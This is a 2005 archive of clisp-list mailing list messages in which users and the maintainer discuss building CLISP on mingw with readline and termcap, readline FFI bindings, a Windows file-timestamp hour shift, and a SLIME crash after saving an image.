CL-USER> (encode-universal-time 33 42 21 01 12 2003) 3279296553 CL-USER> (multiple-value-list (decode-universal-time *)) (33 42 21 1 12 2003 0 NIL -2) CL-USER> (POSIX:SET-FILE-STAT "foo" :MTIME **) ; No value CL-USER> (multiple-value-list (decode-universal-time (file-write-date "foo"))) (33 42 20 1 12 2003 0 NIL -2) CL-USER> Oops. 21:42:33 -> 20:42:33 Why? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Oct 05 19:23:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENLPk-0004ZZ-0R for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:23:20 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENLPj-00059p-Kp for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:23:20 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 05 Oct 2005 22:23:19 -0400 X-IronPort-AV: i="3.97,179,1125892800"; d="scan'208"; a="93531629:sNHT23081672" To: clisp-list@lists.sourceforge.net, Simon Parsons Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Simon Parsons's message of "Mon, 3 Oct 2005 23:47:25 -0400 (EDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Simon Parsons Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: CLISP on Yellow Dog Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 5 19:24:05 2005 X-Original-Date: Wed, 05 Oct 2005 22:22:14 -0400 > * Simon Parsons [2005-10-03 23:47:25 -0400]: > >> BTW, did you install libsigsegv? > > Nope. Frankly I wasn't sure how/what to do and was in too much of a > hurry to get something I could use. When I get a few minutes spare > I'll install and rebuild. when you do, please make sure you pass the right arguments to configure: $ ./configure --with-libdigsegv-prefix=... --with-module=rawsock ... --build build when you do, please make sure that "clisp --version" mentions GENERATIONAL_GC and then make the distribution available to me for upload to SF. thanks. > Also happy to build future releases if that is useful; let me know. yes, thanks. ydl appears to be the only major linux distribution not to offer clisp. it would be nice they could be persuaded to do so. -- Sam Steingold (http://www.podval.org/~sds) running w2k Beauty is only a light switch away. From sds@gnu.org Wed Oct 05 19:29:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENLVD-0004sM-DX for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:28:59 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENLVB-00069i-U5 for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:28:59 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 05 Oct 2005 22:28:58 -0400 X-IronPort-AV: i="3.97,179,1125892800"; d="scan'208"; a="93535569:sNHT22500760" To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Tue, 4 Oct 2005 08:36:07 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 5 19:30:01 2005 X-Original-Date: Wed, 05 Oct 2005 22:27:52 -0400 > * Tomas Zellerin [2005-10-04 08:36:07 +0200]: > >> >> how do I list all known functions? >> > I do it by binding dump-functions to a key in inputrc and pressing the key. >> > "\ea": dump-functions >> >> cool! >> how do I bind F1? >> "\e[11~" (suggested in the manual) does not work. >> (I use cygwin/bash) >> > On unixes, type ^v and press the key to see generated codes. duh... thanks! >> > Yes, I did it that way and it worked. You will get a leak every time >> > you change binding to same string, but why someone should do it? >> >> this should be reflected in the (:documentation "string") of the call out. > Speaking about documentation string, I see there are hardly any in the > modules. Is this by design, or just nobody did it? :) the :documentation option is a recent addition. there are some in modules/bindings/win32/win32.lisp and now in modules/readline/readline.lisp please add more as you go. >> untested functions should be marked as such with a comment, e.g.: >> (def-call-out foo (:name "bar") ; untested > In comment or in :documentation? comment, and on the same line as "def-call-out" so that grep can give the list of untested functions. OTOH, it would be nice if they _were_ tested in test.tst. > Certainly. :) I just though of having two different functions, one > with additional argument and the other with same argument defaulted, a > bit... unlispy. pure FFI _is_ unlispy. to get lispy behavior one has to write some C code :-) see e.g., modules/berkeley-db/bdb.c. > :) I knew it would end this way. I can and will, but it may take some > time. What is the situation with automatic generators of lisp > def-call-outs from .h file? I heard of some, but never did any make > work. I have never used one. you might want to try SWIG - the recent addition. note that CLISP FFI is more expressive that C, so it is absolutely crucial that you carefully proof-read any generated FFI forms. > One more note - readline-name does not work (crashes when set) as > :malloc-free neither. I guess clisp tries to free old value. WFM now. -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From sds@gnu.org Wed Oct 05 19:30:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENLWG-0004v4-Pn for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:30:04 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENLWG-0007E5-G7 for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:30:04 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 05 Oct 2005 22:30:04 -0400 X-IronPort-AV: i="3.97,179,1125892800"; d="scan'208"; a="93536349:sNHT21368308" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43425574.7050405@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 04 Oct 2005 13:12:04 +0300") References: <43425574.7050405@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 5 19:31:30 2005 X-Original-Date: Wed, 05 Oct 2005 22:28:58 -0400 > * Yaroslav Kavenchuk [2005-10-04 13:12:04 +0300]: > > Sam Steingold wrote: > >> configure should detect readline and add "#define HAVE_READLINE" to >> unixconf and -lreadline to LIBS. >> to do so it must find tgetent(). >> please install ncurses in addition to readline. >> > > I do not find tgetent() in ncurses (pdcurses) under mingw, but I find > tgetent() in termcap from msys packages (in CVS). > > config.log: > > configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2 > -I/usr/local/include conftest.c -ltermcap >&5 > C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe: > cannot find -ltermcap > > but with -L/usr/local/lib test is Ok. > > Thanks. try ./configure --with-libreadline-prefix=/usr/local -- Sam Steingold (http://www.podval.org/~sds) running w2k I just forgot my whole philosophy of life!!! From sds@gnu.org Wed Oct 05 19:33:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENLZb-00054l-4k for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:33:31 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENLZX-00077v-QW for clisp-list@lists.sourceforge.net; Wed, 05 Oct 2005 19:33:31 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 05 Oct 2005 22:33:27 -0400 X-IronPort-AV: i="3.97,179,1125892800"; d="scan'208"; a="93538699:sNHT21996852" To: clisp-list@lists.sourceforge.net, Marko Kocic Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0510040046r2ab4886ah@mail.gmail.com> (Marko Kocic's message of "Tue, 4 Oct 2005 09:46:59 +0200") References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> <9238e8de050915010637cfff7@mail.gmail.com> <9238e8de05091508376777f8d4@mail.gmail.com> <9238e8de0509300629k34e0e8d4w@mail.gmail.com> <9238e8de0510040046r2ab4886ah@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko Kocic Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 5 19:34:19 2005 X-Original-Date: Wed, 05 Oct 2005 22:32:22 -0400 Hi Marko, > * Marko Kocic [2005-10-04 09:46:59 +0200]: > > Could someone with checkin rights please fix this. done. > PS: I couldn't post a file as attachment to this group. http://clisp.cons.org/impnotes/faq.html#faq-rejected -- Sam Steingold (http://www.podval.org/~sds) running w2k God had a deadline, so He wrote it all in Lisp. From sds@gnu.org Thu Oct 06 15:45:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENeU3-00083t-Ci for clisp-list@lists.sourceforge.net; Thu, 06 Oct 2005 15:45:03 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENeU1-0005Wr-1p for clisp-list@lists.sourceforge.net; Thu, 06 Oct 2005 15:45:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j96MihOc011809; Thu, 6 Oct 2005 18:44:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43427409.70104@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 04 Oct 2005 15:22:33 +0300") References: <43427409.70104@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: POSIX:SET-FILE-STAT and FILE-WRITE-DATE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 6 15:46:05 2005 X-Original-Date: Thu, 06 Oct 2005 18:43:42 -0400 > * Yaroslav Kavenchuk [2005-10-04 15:22:33 +0300]: > > cLisp from CVS head, mingw, win2k > > CL-USER> (encode-universal-time 33 42 21 01 12 2003) > 3279296553 > CL-USER> (multiple-value-list (decode-universal-time *)) > (33 42 21 1 12 2003 0 NIL -2) > CL-USER> (POSIX:SET-FILE-STAT "foo" :MTIME **) > ; No value > CL-USER> (multiple-value-list (decode-universal-time (file-write-date > "foo"))) > (33 42 20 1 12 2003 0 NIL -2) > CL-USER> > > Oops. > 21:42:33 -> 20:42:33 > Why? because win32 time functions are broken. http://cpan.uwinnipeg.ca/htdocs/Win32-UTCFileTime/Win32/UTCFileTime.html -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From astebakov@yahoo.com Thu Oct 06 16:57:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENfcN-0005Mj-U6 for clisp-list@lists.sourceforge.net; Thu, 06 Oct 2005 16:57:43 -0700 Received: from web52813.mail.yahoo.com ([206.190.49.2]) by mail.sourceforge.net with smtp (Exim 4.44) id 1ENfcM-0002aH-QI for clisp-list@lists.sourceforge.net; Thu, 06 Oct 2005 16:57:44 -0700 Received: (qmail 74275 invoked by uid 60001); 6 Oct 2005 23:57:36 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=OIe4gE4axZzEVRPp3RalvRgIyH11FKa2IBfo/fTH9qZ1mRIPOGJOmQqLWhSDLLBjRVXSp61Vuboc1WQ2MI/FOm3+SGIa+o9W3Q3zhpLdh2NBtzXllXFBIPCd1vwM2eTouzpjTaBzz57foMqln1IVN7+44REiebrz8JHgVlx2SZM= ; Message-ID: <20051006235736.74273.qmail@web52813.mail.yahoo.com> Received: from [209.161.207.94] by web52813.mail.yahoo.com via HTTP; Thu, 06 Oct 2005 16:57:36 PDT From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] EXT:SAVEINITMEM and slime (crash) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 6 16:59:31 2005 X-Original-Date: Thu, 6 Oct 2005 16:57:36 -0700 (PDT) Hi I got the clisp 2.35 and latest slime. When I cave an image and then load it with Slime if got a crash and the inferior-lisp output ending with: ;; Loading file C:\Documents and Settings\user.WINDEV\.slime\fasl\clisp-2.35-win32-pc386\swank.fas ... WARNING: Replacing method # #)> in # *** - Program stack overflow. RESET Process inferior-lisp<2> trace trap Is it a CLisp or Slime issue? How can it be fixed? Thanks, Andrei __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com From kavenchuk@jenty.by Fri Oct 07 02:51:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENotN-000662-PE for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 02:51:53 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENotM-0007Fi-4P for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 02:51:54 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBT4WW; Fri, 7 Oct 2005 12:52:21 +0300 Message-ID: <43464572.5090505@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 7 02:53:54 2005 X-Original-Date: Fri, 07 Oct 2005 12:52:50 +0300 Sam Steingold wrote: > try > ./configure --with-libreadline-prefix=/usr/local > cLisp from CVS head, mingw ./configure --with-mingw --with-readline \ --with-module=dirkey --with-module=pcre \ --with-module=postgresql --with-module=rawsock \ --with-module=wildcard --with-module=zlib \ --with-module=bindings/win32 \ --with-libpcre-prefix=/usr/local \ --with-libreadline-prefix=/usr/local \ --with-libpq-prefix=c:/PostgreSQL/8.0 \ --build build-full $ ./clisp -K full --version GNU CLISP 2.35 (2005-08-29) (built 3337664799) (memory 3337665140) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (ZLIB WILDCARD RAWSOCK POSTGRESQL PCRE DIRKEY REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp dirkey pcre postgresql rawsock wildcard zlib) Installation directory: C:\gnu\home\src\clisp\clisp\build-full\ User language: ENGLISH Machine: PC/386 (PC/?86) stnt067 [192.168.0.1] config.log: configure:24708: checking for library containing tgetent configure:24738: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include conftest.c >&5 C:/Temp/cceebaaa.o(.text+0x19): In function `main': C:/gnu/home/src/clisp/clisp/build-full/conftest.c:90: undefined reference to `tgetent' collect2: ld returned 1 exit status configure:24744: $? = 1 configure: failed program was: configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include conftest.c -lncurses >&5 C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe: cannot find -lncurses collect2: ld returned 1 exit status configure:24799: $? = 1 configure: failed program was: configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include conftest.c -ltermcap >&5 C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe: cannot find -ltermcap collect2: ld returned 1 exit status configure:24799: $? = 1 configure: failed program was: configure:24827: result: no ... has not helped the termcap library is present in /usr/local Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Oct 07 07:28:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENtCb-0002F8-6v for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 07:28:01 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENtCP-0006N1-01 for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 07:28:01 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j97ERSoi010561; Fri, 7 Oct 2005 10:27:29 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051006235736.74273.qmail@web52813.mail.yahoo.com> (Andrew Stebakov's message of "Thu, 6 Oct 2005 16:57:36 -0700 (PDT)") References: <20051006235736.74273.qmail@web52813.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: EXT:SAVEINITMEM and slime (crash) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 7 07:33:10 2005 X-Original-Date: Fri, 07 Oct 2005 10:26:29 -0400 > * Andrew Stebakov [2005-10-06 16:57:36 -0700]: > > I got the clisp 2.35 and latest slime. > When I cave an image and then load it with Slime if > got a crash and the inferior-lisp output ending with: > > ;; Loading file C:\Documents and > Settings\user.WINDEV\.slime\fasl\clisp-2.35-win32-pc386\swank.fas > ... > WARNING: Replacing method > # (# > #)> > in # > > *** - Program stack overflow. RESET > Process inferior-lisp<2> trace trap > > Is it a CLisp or Slime issue? How can it be fixed? if you save an image under slime, do not re-load slime into it. -- Sam Steingold (http://www.podval.org/~sds) running w2k As a computer, I find your faith in technology amusing. From sds@gnu.org Fri Oct 07 07:30:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENtF3-0002Oj-0b for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 07:30:33 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENtEj-0006yy-41 for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 07:30:33 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j97ETgnW010901; Fri, 7 Oct 2005 10:29:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43464572.5090505@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 07 Oct 2005 12:52:50 +0300") References: <43464572.5090505@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.3 LONGWORDS Long string of long words -1.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 7 07:35:08 2005 X-Original-Date: Fri, 07 Oct 2005 10:28:43 -0400 > * Yaroslav Kavenchuk [2005-10-07 12:52:50 +0300]: > > Sam Steingold wrote: > >> try >> ./configure --with-libreadline-prefix=/usr/local > > the termcap library is present in /usr/local please try the appended patch and do ./configure --with-libtermcap-prefix=/usr/local thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Democrats, get out of my wallet! Republicans, get out of my bedroom! 